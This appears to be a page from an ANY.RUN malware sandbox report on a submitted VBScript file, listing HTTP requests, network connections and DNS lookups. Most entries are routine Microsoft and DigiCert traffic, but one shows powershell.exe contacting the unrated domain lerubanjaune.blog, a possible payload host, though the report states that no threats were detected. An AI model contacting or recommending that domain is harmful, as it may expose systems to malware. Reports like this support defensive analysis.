192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
unknown
1132
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
unknown
1544
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
unknown
6188
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
unknown
6188
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
unknown
6512
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEApDqVCbATUviZV57HIIulA%3D
unknown
—
—
unknown
4656
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAzlnDD9eoNTLi0BRrMy%2BWU%3D
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4032
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2916
svchost.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
4656
SearchApp.exe
79.140.80.201:443
—
TELECOM ITALIA SPARKLE S.p.A.
IT
unknown
1544
svchost.exe
20.190.159.75:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1544
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
1060
svchost.exe
2.18.1.181:443
go.microsoft.com
TELECOM ITALIA SPARKLE S.p.A.
IT
unknown
4656
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
3040
OfficeClickToRun.exe
20.189.173.17:443
self.events.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
1428
powershell.exe
87.98.154.146:443
lerubanjaune.blog
OVH SAS
FR
unknown

DNS requests

Domain
IP
Reputation
login.live.com
  • 20.190.159.75
  • 40.126.31.69
  • 20.190.159.0
  • 40.126.31.71
  • 20.190.159.4
  • 20.190.159.68
  • 20.190.159.23
  • 20.190.159.2
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
go.microsoft.com
  • 2.18.1.181
whitelisted
self.events.data.microsoft.com
  • 20.189.173.17
whitelisted
lerubanjaune.blog
  • 87.98.154.146
unknown
arc.msn.com
  • 20.103.156.88
  • 20.223.36.55
whitelisted
slscr.update.microsoft.com
  • 13.85.23.86
whitelisted
www.microsoft.com
  • 95.101.149.131
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 52.165.164.15
whitelisted
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
c534dbee1ebfa23f3def64b0757c6895cbd502f70ae172242498d1c2839a0351.vbs